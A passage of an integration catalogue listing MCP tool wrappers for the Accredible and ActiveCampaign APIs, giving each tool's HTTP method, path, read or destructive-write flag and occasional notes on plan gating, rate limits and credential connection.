Scopes: api. accredible_get_v1_skill_categories (read) — View all Skill Categories via GET /v1/skill_categories. GET /api/v1/accredible/v1/skill_categories. Scopes: api. accredible_get_v1_skill_frameworks (read) — View all Skill Frameworks via GET /v1/skill_frameworks. Plan-gated: answers 403 plan_not_entitled without skills frameworks. GET /api/v1/accredible/v1/skill_frameworks. Scopes: api. accredible_get_v1_skill_frameworks_by_skill_framework_id_versions_by_version_id_skills (read) — Search Skills in a Framework Version via GET /v1/skill_frameworks/{skill_framework_id}/versions/{version_id}/skills. Plan-gated: answers 403 plan_not_entitled without skills frameworks. GET /api/v1/accredible/v1/skill_frameworks/{skill_framework_id}/versions/{version_id}/skills. Scopes: api. accredible_get_v1_team_members_by_id (read) — View a Team Member via GET /v1/team_members/{id}. GET /api/v1/accredible/v1/team_members/{id}. Scopes: api. accredible_get_v2_credentials_by_id_blockchain_data (read) — Verify BlockChain Credential (v2) via GET /v2/credentials/{id}/blockchain_data. Response shape differs for Bitcoin and Ethereum. Public credentials answer without an API key (measured); pass `key` for a private one. GET /api/v1/accredible/v2/credentials/{id}/blockchain_data. Scopes: api. accredible_post_v1_attribute_keys (write) — Create a New Custom Attribute Key via POST /v1/attribute_keys. POST /api/v1/accredible/v1/attribute_keys. Scopes: api. accredible_post_v1_attribute_keys_search (write) — Search for Attribute Keys via POST /v1/attribute_keys/search. POST /api/v1/accredible/v1/attribute_keys/search. Scopes: api. accredible_post_v1_collections (write) — Create a Collection via POST /v1/collections. POST /api/v1/accredible/v1/collections. Scopes: api. accredible_post_v1_collections_search (write) — Search for Collections via POST /v1/collections/search. POST /api/v1/accredible/v1/collections/search. Scopes: api. accredible_post_v1_credentials (write) — Create a New Credential via POST /v1/credentials. Needs an existing Group. Without enough credits the Credential is created but not published. POST /api/v1/accredible/v1/credentials. Scopes: api. accredible_post_v1_credentials_analytics_by_id (write) — View Credential Analytics via POST /v1/credentials/analytics/{id}. POST /api/v1/accredible/v1/credentials/analytics/{id}. Scopes: api. accredible_post_v1_credentials_bulk_create (write) — Bulk Create credentials (v1) via POST /v1/credentials/bulk_create. Up to 100 credentials per request. Without enough credits they are created but not published. POST /api/v1/accredible/v1/credentials/bulk_create. Scopes: api. accredible_post_v1_credentials_by_credential_id_evidence_items (write) — Create a New Evidence Item via POST /v1/credentials/{credential_id}/evidence_items. POST /api/v1/accredible/v1/credentials/{credential_id}/evidence_items. Scopes: api. accredible_post_v1_credentials_by_credential_id_references (write) — Create a New Reference via POST /v1/credentials/{credential_id}/references. POST /api/v1/accredible/v1/credentials/{credential_id}/references. Scopes: api. accredible_post_v1_credentials_generate_pdf (write) — Generate PDF for credentials via POST /v1/credentials/generate_pdf. Returns a link to a zip of the PDFs. POST /api/v1/accredible/v1/credentials/generate_pdf. Scopes: api. accredible_post_v1_credentials_generate_single_pdf_by_id (write) — Generate PDF for a single credential via POST /v1/credentials/generate_single_pdf/{id}. Returns a link to the PDF. POST /api/v1/accredible/v1/credentials/generate_single_pdf/{id}. Scopes: api. accredible_post_v1_credentials_search (write) — Search for Credentials (v1) via POST /v1/credentials/search. Deprecated by Accredible; prefer v2. Strictly limited to 100 requests per 60 seconds per IP address. POST /api/v1/accredible/v1/credentials/search. Scopes: api. accredible_post_v1_data_exports (write) — Create New Data Export via POST /v1/data_exports. POST /api/v1/accredible/v1/data_exports. Scopes: api. accredible_post_v1_departments (write) — Create a New Department via POST /v1/departments. Needs Departments enabled on the account. POST /api/v1/accredible/v1/departments. Scopes: api. accredible_post_v1_departments_search (write) — Search for Departments via POST /v1/departments/search. POST /api/v1/accredible/v1/departments/search. Scopes: api. accredible_post_v1_designers_badge_initialize (write) — Initialize Embedded Badge Designer via POST /v1/designers/badge/initialize. POST /api/v1/accredible/v1/designers/badge/initialize. Scopes: api. accredible_post_v1_designers_certificate_initialize (write) — Initialize Embedded Certificate Designer via POST /v1/designers/certificate/initialize. POST /api/v1/accredible/v1/designers/certificate/initialize. Scopes: api. accredible_post_v1_designs (write) — Create a Design via POST /v1/designs. POST /api/v1/accredible/v1/designs. Scopes: api. accredible_post_v1_designs_by_design_id_copy (write) — Copy a Design via POST /v1/designs/{design_id}/copy. POST /api/v1/accredible/v1/designs/{design_id}/copy. Scopes: api. accredible_post_v1_designs_by_design_id_preview (write) — Preview a Design via POST /v1/designs/{design_id}/preview. POST /api/v1/accredible/v1/designs/{design_id}/preview. Scopes: api. accredible_post_v1_designs_search (write) — Search for Designs via POST /v1/designs/search. POST /api/v1/accredible/v1/designs/search. Scopes: api. accredible_post_v1_issuer_groups (write) — Create a Group via POST /v1/issuer/groups. POST /api/v1/accredible/v1/issuer/groups. Scopes: api. accredible_post_v1_issuer_groups_by_group_id_clone (write) — Clone a Group via POST /v1/issuer/groups/{group_id}/clone. Body attributes override the cloned values; the clone keeps the original's skills framework. POST /api/v1/accredible/v1/issuer/groups/{group_id}/clone. Scopes: api. accredible_post_v1_issuer_groups_search (write) — Search for Groups via POST /v1/issuer/groups/search. POST /api/v1/accredible/v1/issuer/groups/search. Scopes: api. accredible_post_v1_sso_generate_link (write) — Generate SSO Link via POST /v1/sso/generate_link. The link signs the recipient in to their credential and expires after one use. POST /api/v1/accredible/v1/sso/generate_link. Scopes: api. accredible_post_v1_team_members (write) — Create a Team Member via POST /v1/team_members. Grants a person access to the Accredible dashboard. POST /api/v1/accredible/v1/team_members. Scopes: api. accredible_post_v2_credentials_bulk_create (write) — Bulk Create Credentials (v2) via POST /v2/credentials/bulk_create. Up to 30 credentials per request; partial success answers 207 Multi-Status. Without enough credits they are created but not published. POST /api/v1/accredible/v2/credentials/bulk_create. Scopes: api. accredible_post_v2_credentials_search (write) — Search for Credentials (v2) via POST /v2/credentials/search. Filters take operators in the key: {"group.id[in]": [1, 2]}, {"issued_on[gt]": "2023-01-01"}. Results omit `skills`. POST /api/v1/accredible/v2/credentials/search. Scopes: api. accredible_put_v1_collections_by_collection_id (write) — Update a Collection via PUT /v1/collections/{collection_id}. PUT /api/v1/accredible/v1/collections/{collection_id}. Scopes: api. accredible_put_v1_credentials_by_credential_id_evidence_items_by_evidence_item_id (write) — Update an Evidence Item via PUT /v1/credentials/{credential_id}/evidence_items/{evidence_item_id}. PUT /api/v1/accredible/v1/credentials/{credential_id}/evidence_items/{evidence_item_id}. Scopes: api. accredible_put_v1_credentials_by_credential_id_references_by_reference_id (write) — Update a Reference via PUT /v1/credentials/{credential_id}/references/{reference_id}. PUT /api/v1/accredible/v1/credentials/{credential_id}/references/{reference_id}. Scopes: api. accredible_put_v1_credentials_by_id (write) — Update a Credential via PUT /v1/credentials/{id}. PUT /api/v1/accredible/v1/credentials/{id}. Scopes: api. accredible_put_v1_departments_by_department_id (write) — Update a Department via PUT /v1/departments/{department_id}. PUT /api/v1/accredible/v1/departments/{department_id}. Scopes: api. accredible_put_v1_designs_by_design_id (write) — Update a Design via PUT /v1/designs/{design_id}. PUT /api/v1/accredible/v1/designs/{design_id}. Scopes: api. accredible_put_v1_issuer_groups_by_group_id (write) — Update a Group via PUT /v1/issuer/groups/{group_id}. PUT /api/v1/accredible/v1/issuer/groups/{group_id}. Scopes: api. accredible_put_v1_team_members_by_id (write) — Update a Team Member via PUT /v1/team_members/{id}. Changes a person's dashboard permissions. PUT /api/v1/accredible/v1/team_members/{id}. Scopes: api. ================================================================================ ## ActiveCampaign URL: https://www.agenticfabriq.com/integrations/activecampaign Section: Integrated Tools ActiveCampaign — 335 MCP tools Provider key: activecampaign. Scopes: none. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. activecampaign_delete_accountcontacts_by_id (write, destructive) — Delete an association via DELETE /accountContacts/{id} DELETE /api/v1/activecampaign/accountContacts/{id}. Scopes: none. activecampaign_delete_accountcustomfielddata_by_id (write, destructive) — Delete a custom field value via DELETE /accountCustomFieldData/{id} DELETE /api/v1/activecampaign/accountCustomFieldData/{id}. Scopes: none. activecampaign_delete_accountcustomfieldmeta_by_id (write, destructive) — Delete a custom field via DELETE /accountCustomFieldMeta/{id} DELETE /api/v1/activecampaign/accountCustomFieldMeta/{id}. Scopes: none. activecampaign_delete_accounts_bulk_delete (write, destructive) — Bulk delete accounts via DELETE /accounts/bulk_delete DELETE /api/v1/activecampaign/accounts/bulk_delete. Scopes: none. activecampaign_delete_accounts_by_id (write, destructive) — Delete an account via DELETE /accounts/{id} DELETE /api/v1/activecampaign/accounts/{id}. Scopes: none. activecampaign_delete_addresses_by_id (write, destructive) — Delete an address via DELETE /addresses/{id} DELETE /api/v1/activecampaign/addresses/{id}. Scopes: none. activecampaign_delete_addressgroups_by_id (write, destructive) — Delete an addressgroup via DELETE /addressGroups/{id} DELETE /api/v1/activecampaign/addressGroups/{id}. Scopes: none. activecampaign_delete_addresslists_by_id (write, destructive) — Delete an addresslist via DELETE /addressLists/{id} DELETE /api/v1/activecampaign/addressLists/{id}. Scopes: none. activecampaign_delete_calendars_by_id (write, destructive) — Remove a calendar feed via DELETE /calendars/{id} DELETE /api/v1/activecampaign/calendars/{id}. Scopes: none. activecampaign_delete_campaignmessages_by_id (write, destructive) — Delete a campaign message via DELETE /campaignMessages/{id} DELETE /api/v1/activecampaign/campaignMessages/{id}. Scopes: none. activecampaign_delete_campaigns_bulk_delete (write, destructive) — Delete multiple campaigns via DELETE /campaigns/bulk_delete DELETE /api/v1/activecampaign/campaigns/bulk_delete. Scopes: none. activecampaign_delete_campaigns_by_id_delete (write, destructive) — Delete a campaign via DELETE /campaigns/{id}/delete DELETE /api/v1/activecampaign/campaigns/{id}/delete. Scopes: none. activecampaign_delete_connections_by_id (write, destructive) — Delete connection via DELETE /connections/{id} DELETE /api/v1/activecampaign/connections/{id}. Scopes: none. activecampaign_delete_contactautomations_by_id (write, destructive) — Delete a contactautomation via DELETE /contactAutomations/{id} DELETE /api/v1/activecampaign/contactAutomations/{id}. Scopes: none. activecampaign_delete_contactdeals_by_id (write, destructive) — Delete a secondary contact via DELETE /contactDeals/{id} DELETE /api/v1/activecampaign/contactDeals/{id}. Scopes: none. activecampaign_delete_contacts_by_id (write, destructive) — Delete contact via DELETE /contacts/{id} DELETE /api/v1/activecampaign/contacts/{id}. Scopes: none. activecampaign_delete_contacttags_by_id (write, destructive) — Remove a contacts tag via DELETE /contactTags/{id} DELETE /api/v1/activecampaign/contactTags/{id}. Scopes: none. activecampaign_delete_customobjects_records_by_schemaid_by_recordid (write, destructive) — Delete a record via DELETE /customObjects/records/{schemaId}/{recordId} DELETE /api/v1/activecampaign/customObjects/records/{schemaId}/{recordId}. Scopes: none. activecampaign_delete_customobjects_records_by_schemaid_external_by_externalid (write, destructive) — Delete a record by external id via DELETE /customObjects/records/{schemaId}/external/{externalId} DELETE /api/v1/activecampaign/customObjects/records/{schemaId}/external/{externalId}. Scopes: none. activecampaign_delete_customobjects_schemas_by_id (write, destructive) — Delete a schema via DELETE /customObjects/schemas/{id} DELETE /api/v1/activecampaign/customObjects/schemas/{id}. Scopes: none. activecampaign_delete_customobjects_schemas_by_schemaid_fields_by_fieldid (write, destructive) — Delete a field via DELETE /customObjects/schemas/{schemaId}/fields/{fieldId} DELETE /api/v1/activecampaign/customObjects/schemas/{schemaId}/fields/{fieldId}. Scopes: none. activecampaign_delete_dealcustomfielddata_by_id (write, destructive) — Delete a custom deal field data via DELETE /dealCustomFieldData/{id} DELETE /api/v1/activecampaign/dealCustomFieldData/{id}. Scopes: none. activecampaign_delete_dealcustomfieldmeta_by_id (write, destructive) — Delete a custom deal field meta via DELETE /dealCustomFieldMeta/{id} DELETE /api/v1/activecampaign/dealCustomFieldMeta/{id}. Scopes: none. activecampaign_delete_dealgroups_by_id (write, destructive) — Delete a pipeline via DELETE /dealGroups/{id} DELETE /api/v1/activecampaign/dealGroups/{id}. Scopes: none. activecampaign_delete_dealroles_by_id (write, destructive) — Delete a deal role via DELETE /dealRoles/{id} DELETE /api/v1/activecampaign/dealRoles/{id}. Scopes: none. activecampaign_delete_deals_by_id (write, destructive) — Delete a deal via DELETE /deals/{id} DELETE /api/v1/activecampaign/deals/{id}. Scopes: none. activecampaign_delete_dealstages_by_id (write, destructive) — Delete a deal stage via DELETE /dealStages/{id} DELETE /api/v1/activecampaign/dealStages/{id}. Scopes: none. activecampaign_delete_dealtasks_by_id (write, destructive) — Delete task via DELETE /dealTasks/{id} DELETE /api/v1/activecampaign/dealTasks/{id}. Scopes: none. activecampaign_delete_dealtasktypes_by_id (write, destructive) — Delete a deal task type via DELETE /dealTasktypes/{id} DELETE /api/v1/activecampaign/dealTasktypes/{id}. Scopes: none. activecampaign_delete_ecomcustomers_by_id (write, destructive) — Delete customer via DELETE /ecomCustomers/{id} DELETE /api/v1/activecampaign/ecomCustomers/{id}. Scopes: none. activecampaign_delete_ecomorders_by_ecomorderid (write, destructive) — Delete order via DELETE /ecomOrders/{ecomOrderId} DELETE /api/v1/activecampaign/ecomOrders/{ecomOrderId}. Scopes: none. activecampaign_delete_eventtrackingevents_by_eventname (write, destructive) — Remove event name only via DELETE /eventTrackingEvents/{eventName} DELETE /api/v1/activecampaign/eventTrackingEvents/{eventName}. Scopes: none. activecampaign_delete_fieldrels_by_fieldrelid (write, destructive) — Delete a custom field relationship to lists via DELETE /fieldRels/{fieldRelId} DELETE /api/v1/activecampaign/fieldRels/{fieldRelId}. Scopes: none. activecampaign_delete_fields_by_id (write, destructive) — Delete a field via DELETE /fields/{id} DELETE /api/v1/activecampaign/fields/{id}. Scopes: none. activecampaign_delete_fieldvalues_by_id (write, destructive) — Delete a fieldvalue via DELETE /fieldValues/{id} DELETE /api/v1/activecampaign/fieldValues/{id}. Scopes: none. activecampaign_delete_forms_by_id (write, destructive) — Delete forms{id} via DELETE /forms/{id} DELETE /api/v1/activecampaign/forms/{id}. Scopes: none. activecampaign_delete_group_bulk_delete (write, destructive) — Bulk delete groups via DELETE /group/bulk_delete DELETE /api/v1/activecampaign/group/bulk_delete. Scopes: none. activecampaign_delete_groupmembers_by_groupid (write, destructive) — Delete custom field field group via DELETE /groupMembers/{groupID} DELETE /api/v1/activecampaign/groupMembers/{groupID}. Scopes: none. activecampaign_delete_groups_by_id (write, destructive) — Delete a group via DELETE /groups/{id} DELETE /api/v1/activecampaign/groups/{id}. Scopes: none. activecampaign_delete_lists_by_id (write, destructive) — Delete a list via DELETE /lists/{id} DELETE /api/v1/activecampaign/lists/{id}. Scopes: none. activecampaign_delete_messages_by_id (write, destructive) — Delete a message via DELETE /messages/{id} DELETE /api/v1/activecampaign/messages/{id}. Scopes: none. activecampaign_delete_notes_by_id (write, destructive) — Delete note via DELETE /notes/{id} DELETE /api/v1/activecampaign/notes/{id}. Scopes: none. activecampaign_delete_personalizations_bulkdelete (write, destructive) — Bulk delete variables via DELETE /personalizations/bulkdelete DELETE /api/v1/activecampaign/personalizations/bulkdelete. Scopes: none. activecampaign_delete_personalizations_by_variableid (write, destructive) — Delete variable via DELETE /personalizations/{variableID} DELETE /api/v1/activecampaign/personalizations/{variableID}. Scopes: none. activecampaign_delete_prism_urlwhitelistings_by_domain_id (write, destructive) — Remove domain from whitelist via DELETE /prism/urlWhitelistings/{domain_id} DELETE /api/v1/activecampaign/prism/urlWhitelistings/{domain_id}. Scopes: none. activecampaign_delete_savedresponses_by_id (write, destructive) — Retrieve a savedresponse via DELETE /savedResponses/{id} DELETE /api/v1/activecampaign/savedResponses/{id}. Scopes: none. activecampaign_delete_sitetrackingdomains_by_name (write, destructive) — Remove a site tracking domain via DELETE /siteTrackingDomains/{name} DELETE /api/v1/activecampaign/siteTrackingDomains/{name}. Scopes: none. activecampaign_delete_sms_broadcasts_by_id (write, destructive) — DeleteBroadcast via DELETE /sms/broadcasts/{id} DELETE /api/v1/activecampaign/sms/broadcasts/{id}. Scopes: none. activecampaign_delete_tags_by_id (write, destructive) — Delete a tag via DELETE /tags/{id} DELETE /api/v1/activecampaign/tags/{id}. Scopes: none. activecampaign_delete_taskoutccomes_by_id (write, destructive) — Delete a task outcome via DELETE /taskOutccomes/{id} DELETE /api/v1/activecampaign/taskOutccomes/{id}. Scopes: none. activecampaign_delete_tasktypeoutcomerels_by_id (write, destructive) — Delete a task type outcome relation via DELETE /tasktypeOutcomeRels/{id} DELETE /api/v1/activecampaign/tasktypeOutcomeRels/{id}. Scopes: none. activecampaign_delete_templates_by_id (write, destructive) — Delete a template via DELETE /templates/{id} DELETE /api/v1/activecampaign/templates/{id}. Scopes: none. activecampaign_delete_users_by_id (write, destructive) — Delete user via DELETE /users/{id} DELETE /api/v1/activecampaign/users/{id}. Scopes: none. activecampaign_delete_webhooks_by_id (write, destructive) — Delete webhook via DELETE /webhooks/{id} DELETE /api/v1/activecampaign/webhooks/{id}. Scopes: none. activecampaign_get_accountcontacts (read) — List all associations via GET /accountContacts GET /api/v1/activecampaign/accountContacts. Scopes: none. activecampaign_get_accountcontacts_by_id (read) — Retrieve an association via GET /accountContacts/{id} GET /api/v1/activecampaign/accountContacts/{id}. Scopes: none. activecampaign_get_accountcustomfielddata (read) — List all custom field values via GET /accountCustomFieldData GET /api/v1/activecampaign/accountCustomFieldData. Scopes: none. activecampaign_get_accountcustomfielddata_by_id (read) — Retrieve a custom field value via GET /accountCustomFieldData/{id} GET /api/v1/activecampaign/accountCustomFieldData/{id}. Scopes: none. activecampaign_get_accountcustomfieldmeta (read) — List all custom fields meta via GET /accountCustomFieldMeta GET /api/v1/activecampaign/accountCustomFieldMeta. Scopes: none. activecampaign_get_accountcustomfieldmeta_by_id (read) — Retrieve a custom field meta via GET /accountCustomFieldMeta/{id} GET /api/v1/activecampaign/accountCustomFieldMeta/{id}. Scopes: none. activecampaign_get_accounts (read) — List all accounts via GET /accounts GET /api/v1/activecampaign/accounts. Scopes: none. activecampaign_get_accounts_by_id (read) — Retrieve an account via GET /accounts/{id} GET /api/v1/activecampaign/accounts/{id}. Scopes: none. activecampaign_get_activities (read) — List contact activities via GET /activities GET /api/v1/activecampaign/activities. Scopes: none. activecampaign_get_addresses (read) — List all addresses via GET /addresses GET /api/v1/activecampaign/addresses. Scopes: none. activecampaign_get_addresses_by_id (read) — Retrieve an address via GET /addresses/{id} GET /api/v1/activecampaign/addresses/{id}. Scopes: none. activecampaign_get_addressgroups (read) — List all addressgroups via GET /addressGroups GET /api/v1/activecampaign/addressGroups. Scopes: none. activecampaign_get_addressgroups_by_id (read) — Retrieve an addressgroup via GET /addressGroups/{id} GET /api/v1/activecampaign/addressGroups/{id}. Scopes: none. activecampaign_get_addresslists (read) — List all addresslists via GET /addressLists GET /api/v1/activecampaign/addressLists. Scopes: none. activecampaign_get_addresslists_by_id (read) — Retrieve an addresslist via GET /addressLists/{id} GET /api/v1/activecampaign/addressLists/{id}. Scopes: none. activecampaign_get_automations (read) — List all automations via GET /automations GET /api/v1/activecampaign/automations. Scopes: none. activecampaign_get_automations_by_automationid (read) — Get automations via GET /automations/{automationId} GET /api/v1/activecampaign/automations/{automationId}. Scopes: none. activecampaign_get_automations_by_seriesid_contactautomations (read) — List all contactautomations for automation via GET /automations/{seriesId}/contactAutomations GET /api/v1/activecampaign/automations/{seriesId}/contactAutomations. Scopes: none. activecampaign_get_brandings (read) — Brandings via GET /brandings GET /api/v1/activecampaign/brandings. Scopes: none. activecampaign_get_brandings_by_id (read) — Get branding via GET /brandings/{id} GET /api/v1/activecampaign/brandings/{id}. Scopes: none. activecampaign_get_calendars (read) — List all calendar feeds via GET /calendars GET /api/v1/activecampaign/calendars. Scopes: none. activecampaign_get_calendars_by_id (read) — List all calendar feeds via GET /calendars/{id} GET /api/v1/activecampaign/calendars/{id}. Scopes: none. activecampaign_get_campaigns (read) — List all campaigns via GET /campaigns GET /api/v1/activecampaign/campaigns. Scopes: none. activecampaign_get_campaigns_by_id (read) — Retrieve a campaign via GET /campaigns/{id} GET /api/v1/activecampaign/campaigns/{id}. Scopes: none. activecampaign_get_campaigns_by_id_campaignmessages (read) — Retrieve campaign messages associated campaign via GET /campaigns/{id}/campaignMessages GET /api/v1/activecampaign/campaigns/{id}/campaignMessages. Scopes: none. activecampaign_get_campaigns_by_id_links (read) — Retrieve links associated campaign via GET /campaigns/{id}/links GET /api/v1/activecampaign/campaigns/{id}/links. Scopes: none. activecampaign_get_connections (read) — List all connections via GET /connections GET /api/v1/activecampaign/connections. Scopes: none. activecampaign_get_connections_by_id (read) — Get connection via GET /connections/{id} GET /api/v1/activecampaign/connections/{id}. Scopes: none. activecampaign_get_contactautomations (read) — List all contact automations via GET /contactAutomations GET /api/v1/activecampaign/contactAutomations. Scopes: none. activecampaign_get_contactautomations_by_id (read) — Retrieve a contactautomation via GET /contactAutomations/{id} GET /api/v1/activecampaign/contactAutomations/{id}. Scopes: none. activecampaign_get_contactdeals (read) — List all secondary contacts via GET /contactDeals GET /api/v1/activecampaign/contactDeals. Scopes: none. activecampaign_get_contactdeals_by_id (read) — Retrieve a secondary contact via GET /contactDeals/{id} GET /api/v1/activecampaign/contactDeals/{id}. Scopes: none. activecampaign_get_contacts (read) — List all contacts via GET /contacts GET /api/v1/activecampaign/contacts. Scopes: none. activecampaign_get_contacts_by_contactid_trackinglogs (read) — Get contacts tracking logsevents via GET /contacts/{contactId}/trackingLogs GET /api/v1/activecampaign/contacts/{contactId}/trackingLogs. Scopes: none. activecampaign_get_contacts_by_id (read) — Get contact via GET /contacts/{id} GET /api/v1/activecampaign/contacts/{id}. Scopes: none. activecampaign_get_contacts_by_id_accountcontacts (read) — Retrieve contact account contacts via GET /contacts/{id}/accountContacts GET /api/v1/activecampaign/contacts/{id}/accountContacts. Scopes: none. activecampaign_get_contacts_by_id_automationentrycounts (read) — Retrieve contact automation entry counts via GET /contacts/{id}/automationEntryCounts GET /api/v1/activecampaign/contacts/{id}/automationEntryCounts. Scopes: none. activecampaign_get_contacts_by_id_bouncelogs (read) — Retrieve contact bounce logs via GET /contacts/{id}/bounceLogs GET /api/v1/activecampaign/contacts/{id}/bounceLogs. Scopes: none. activecampaign_get_contacts_by_id_contactautomations (read) — List all contactautomations for contact via GET /contacts/{id}/contactAutomations GET /api/v1/activecampaign/contacts/{id}/contactAutomations. Scopes: none. activecampaign_get_contacts_by_id_contactdata (read) — Retrieve contact data via GET /contacts/{id}/contactData GET /api/v1/activecampaign/contacts/{id}/contactData. Scopes: none. activecampaign_get_contacts_by_id_contactdeals (read) — Retrieve contact deals list via GET /contacts/{id}/contactDeals GET /api/v1/activecampaign/contacts/{id}/contactDeals. Scopes: none. activecampaign_get_contacts_by_id_contactgoals (read) — Retrieve contact goals via GET /contacts/{id}/contactGoals GET /api/v1/activecampaign/contacts/{id}/contactGoals. Scopes: none. activecampaign_get_contacts_by_id_contactlists (read) — Retrieve contact list memberships via GET /contacts/{id}/contactLists GET /api/v1/activecampaign/contacts/{id}/contactLists. Scopes: none. activecampaign_get_contacts_by_id_contactlogs (read) — Retrieve contact logs via GET /contacts/{id}/contactLogs GET /api/v1/activecampaign/contacts/{id}/contactLogs. Scopes: none. activecampaign_get_contacts_by_id_deals (read) — Retrieve contact deals via GET /contacts/{id}/deals GET /api/v1/activecampaign/contacts/{id}/deals. Scopes: none. activecampaign_get_contacts_by_id_fieldvalues (read) — Retrieve contact field values via GET /contacts/{id}/fieldValues GET /api/v1/activecampaign/contacts/{id}/fieldValues. Scopes: none. activecampaign_get_contacts_by_id_geoips (read) — Retrieve contact geo ips via GET /contacts/{id}/geoIps GET /api/v1/activecampaign/contacts/{id}/geoIps. Scopes: none. activecampaign_get_contacts_by_id_notes (read) — Retrieve contact notes via GET /contacts/{id}/notes GET /api/v1/activecampaign/contacts/{id}/notes. Scopes: none. activecampaign_get_contacts_by_id_organization (read) — Retrieve contact organization via GET /contacts/{id}/organization GET /api/v1/activecampaign/contacts/{id}/organization. Scopes: none. activecampaign_get_contacts_by_id_plusappend (read) — Retrieve contact plus append via GET /contacts/{id}/plusAppend GET /api/v1/activecampaign/contacts/{id}/plusAppend. Scopes: none. activecampaign_get_contacts_by_id_scorevalues (read) — Retrieve a contacts score value via GET /contacts/{id}/scoreValues GET /api/v1/activecampaign/contacts/{id}/scoreValues. Scopes: none. activecampaign_get_contacttags (read) — List all contact tags via GET /contactTags GET /api/v1/activecampaign/contactTags. Scopes: none. activecampaign_get_contacttags_by_id (read) — Retrieve a contact tag via GET /contactTags/{id} GET /api/v1/activecampaign/contactTags/{id}. Scopes: none. activecampaign_get_content_editormarkup_by_messageid (read) — Get editor markup via GET /content/editorMarkup/{messageId} GET /api/v1/activecampaign/content/editorMarkup/{messageId}. Scopes: none. activecampaign_get_customobjects_records_by_schemaid (read) — List records created from a schema via GET /customObjects/records/{schemaId} GET /api/v1/activecampaign/customObjects/records/{schemaId}. Scopes: none. activecampaign_get_customobjects_records_by_schemaid_by_recordid (read) — Get a single record via GET /customObjects/records/{schemaId}/{recordId} GET /api/v1/activecampaign/customObjects/records/{schemaId}/{recordId}. Scopes: none. activecampaign_get_customobjects_schemas (read) — List all schemas via GET /customObjects/schemas GET /api/v1/activecampaign/customObjects/schemas. Scopes: none. activecampaign_get_customobjects_schemas_by_id (read) — Retrieve a schema via GET /customObjects/schemas/{id} GET /api/v1/activecampaign/customObjects/schemas/{id}. Scopes: none. activecampaign_get_dealactivities (read) — List all deal activities via GET /dealActivities GET /api/v1/activecampaign/dealActivities. Scopes: none. activecampaign_get_dealcustomfielddata (read) — List all custom fielddata field values via GET /dealCustomFieldData GET /api/v1/activecampaign/dealCustomFieldData. Scopes: none. activecampaign_get_dealcustomfielddata_by_id (read) — Retrieve a custom deal field value via GET /dealCustomFieldData/{id} GET /api/v1/activecampaign/dealCustomFieldData/{id}. Scopes: none. activecampaign_get_dealcustomfieldmeta (read) — Retrieve all custom deal field meta via GET /dealCustomFieldMeta GET /api/v1/activecampaign/dealCustomFieldMeta. Scopes: none. activecampaign_get_dealcustomfieldmeta_by_id (read) — Retrieve a custom deal field meta via GET /dealCustomFieldMeta/{id} GET /api/v1/activecampaign/dealCustomFieldMeta/{id}. Scopes: none. activecampaign_get_dealgroup_get_inaccessible_deal_groups (read) — Retrieve inaccessible pipelines by user via GET /dealGroup/get_inaccessible_deal_groups GET /api/v1/activecampaign/dealGroup/get_inaccessible_deal_groups. Scopes: none. activecampaign_get_dealgroups (read) — List all pipelines via GET /dealGroups GET /api/v1/activecampaign/dealGroups. Scopes: none. activecampaign_get_dealgroups_by_id (read) — Retrieve a pipeline via GET /dealGroups/{id} GET /api/v1/activecampaign/dealGroups/{id}. Scopes: none. activecampaign_get_dealroles (read) — List all deal roles via GET /dealRoles GET /api/v1/activecampaign/dealRoles. Scopes: none. activecampaign_get_deals (read) — List all deals via GET /deals GET /api/v1/activecampaign/deals. Scopes: none. activecampaign_get_deals_by_id (read) — Retrieve a deal via GET /deals/{id} GET /api/v1/activecampaign/deals/{id}. Scopes: none. activecampaign_get_dealstages (read) — List all deal stages via GET /dealStages GET /api/v1/activecampaign/dealStages. Scopes: none. activecampaign_get_dealstages_by_id (read) — Retrieve a deal stage via GET /dealStages/{id} GET /api/v1/activecampaign/dealStages/{id}. Scopes: none. activecampaign_get_dealtasks (read) — List all tasks via GET /dealTasks GET /api/v1/activecampaign/dealTasks. Scopes: none. activecampaign_get_dealtasks_by_id (read) — Get task via GET /dealTasks/{id} GET /api/v1/activecampaign/dealTasks/{id}. Scopes: none. activecampaign_get_dealtasktypes (read) — List all deal task types via GET /dealTasktypes GET /api/v1/activecampaign/dealTasktypes. Scopes: none. activecampaign_get_dealtasktypes_by_id (read) — Retrieve a deal task type via GET /dealTasktypes/{id} GET /api/v1/activecampaign/dealTasktypes/{id}. Scopes: none. activecampaign_get_ecomcustomers (read) — List all customers via GET /ecomCustomers GET /api/v1/activecampaign/ecomCustomers. Scopes: none. activecampaign_get_ecomcustomers_by_id (read) — Get customer via GET /ecomCustomers/{id} GET /api/v1/activecampaign/ecomCustomers/{id}. Scopes: none. activecampaign_get_ecomorderproducts (read) — List ecomorderproducts via GET /ecomOrderProducts GET /api/v1/activecampaign/ecomOrderProducts. Scopes: none. activecampaign_get_ecomorderproducts_by_id (read) — Retrieve an ecomorderproduct via GET /ecomOrderProducts/{id} GET /api/v1/activecampaign/ecomOrderProducts/{id}. Scopes: none. activecampaign_get_ecomorders (read) — List all orders via GET /ecomOrders GET /api/v1/activecampaign/ecomOrders. Scopes: none. activecampaign_get_ecomorders_by_ecomorderid (read) — Get order via GET /ecomOrders/{ecomOrderId} GET /api/v1/activecampaign/ecomOrders/{ecomOrderId}. Scopes: none. activecampaign_get_ecomorders_by_id_orderproducts (read) — List products for order via GET /ecomOrders/{id}/orderProducts GET /api/v1/activecampaign/ecomOrders/{id}/orderProducts. Scopes: none. activecampaign_get_emailactivities (read) — List all email activities via GET /emailActivities GET /api/v1/activecampaign/emailActivities. Scopes: none. activecampaign_get_eventtracking (read) — Retrieve event tracking status via GET /eventTracking GET /api/v1/activecampaign/eventTracking. Scopes: none. activecampaign_get_eventtrackingevents (read) — List all event types via GET /eventTrackingEvents GET /api/v1/activecampaign/eventTrackingEvents. Scopes: none. activecampaign_get_fields (read) — Retrieve fields via GET /fields GET /api/v1/activecampaign/fields. Scopes: none. activecampaign_get_fields_by_id (read) — Retrieve a custom field contact via GET /fields/{id} GET /api/v1/activecampaign/fields/{id}. Scopes: none. activecampaign_get_fieldvalues (read) — List all custom field values via GET /fieldValues GET /api/v1/activecampaign/fieldValues. Scopes: none. 